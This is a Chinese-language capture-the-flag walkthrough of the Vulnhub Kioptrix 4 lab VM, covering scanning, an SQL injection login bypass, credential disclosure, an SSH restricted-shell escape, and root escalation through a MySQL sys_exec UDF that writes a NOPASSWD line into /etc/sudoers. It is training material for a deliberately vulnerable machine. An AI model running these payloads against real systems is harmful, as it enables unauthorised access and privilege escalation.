Vulnhub靶场 Kioptrix: Level 1.3 (#4) 练习
目录
- 0x00 环境准备
- 0x01 主机信息收集
- 0x02 站点信息收集
- 0x03 漏洞查找与利用
- 0x04 总结
0x00 环境准备
下载:https://download.vulnhub.com/kioptrix/Kioptrix4_vmware.rar
解压后得到的是vmdk文件。在vm中新建虚拟机,稍后安装操作系统,系统选择linux的ubuntu64位。选择使用现有虚拟磁盘,选择这个vmdk文件,然后选择保持现有格式。编辑虚拟机设置,显示器中去掉加速3D。
0x01 主机信息收集
kali本机的ip:192.168.119.128
探测目标主机的ip:netdiscover -i eth0 192.168.119.0/24
目标主机的ip:192.168.119.142
探测目标主机的开放端口等信息:nmap -sV -p 1-65535 -A 192.168.119.142
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-26 15:51 CST
Nmap scan report for 192.168.119.142
Host is up (0.00059s latency).
Not shown: 39528 closed tcp ports (reset), 26003 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
MAC Address: 00:0C:29:EA:3D:D5 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-os-discovery:
| OS: Unix (Samba 3.0.28a)
| Computer name: Kioptrix4
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: Kioptrix4.localdomain
|_ System time: 2025-02-26T10:52:17-05:00
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 10h29m59s, deviation: 3h32m07s, median: 7h59m59s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
TRACEROUTE
HOP RTT ADDRESS
1 0.59 ms 192.168.119.142
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.12 seconds
开放了22端口,ssh服务,OpenSSH 4.7;80端口,http服务,Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4;139端口,smb协议。Samba smbd 3.X - 4.X;445端口,Samba smbd 3.0.28a;系统内核,Linux 2.6.9 - 2.6.33。
0x02 站点信息收集
先访问80端口:
这里是一个登录框,可以先试试万能密码,再试一下弱口令,看看有没有sql注入之类的。
尝试弱口令:
账号:admin
密码:' or '1=1
登录成功进入另一个页面,url的参数里username是admin:
探测开放目录:dirsearch -u 192.168.119.142
有个sql文件,查看一下文件内容:
可以看到这里有一个username和password,尝试用这个用户进行登录。提示错误,登录失败。想到前面以admin用户登录成功的时候,url中有个参数指明了用户名,把那个用户名换成john访问一下:http://192.168.119.142/member.php?username=john
显示的密码是空的,抓包看了一下内容,确实是什么也没有。想到前面用万能密码登录,这里试一下把万能密码的用户名改成john登录:
显示了一个密码。这里退出来,用john和显示的密码进行登录,也登录成功了。
0x03 漏洞查找与利用
前面探测端口时,开放了ssh协议,22端口。尝试用 john和 MyNameIsJohn进行ssh登录:ssh john@192.168.119.142
我这里报错了,查了一下是因为我的SSH 客户端不支持服务器提供的密钥类型(ssh-rsa 和 ssh-dss)。这是因为现代 OpenSSH 版本默认禁用了 ssh-rsa
及其他过时的密钥算法。可以加个参数 :ssh john@192.168.119.142 -o HostKeyAlgorithms=+ssh-rsa
尝试了常见的命令,都没有回显,来获取一下交互式shell,执行命令:echo os.system("/bin/bash")
查找一些敏感信息,在/var/www目录下的checklogin.php文件中找到了一个数据库的用户名root,密码是空。
直接连接数据库:mysql -u root
查看可用的UDF:select * from func;
在查询结果中有个 sys_exec,利用这个函数给john用户添加root权限:
select sys_exec('echo "john ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers');
执行成功后就会给john用户添加了sudo权限,并且不需要密码。
退出mysql:exit
切换成root用户:sudo su
获取flag成功:
0x04 总结
主机信息收集:
- netdiscover探测目标主机ip。
- nmap探测开放的端口和服务。
站点信息收集:
- 扫描站点目录。
- 根据探测到的数据库文件,获取其他用户的信息。
漏洞利用:
- 万能密码登录后台。
- 获取账号密码。
- ssh登录获取到的用户。
- 利用mysql的udf进行提权。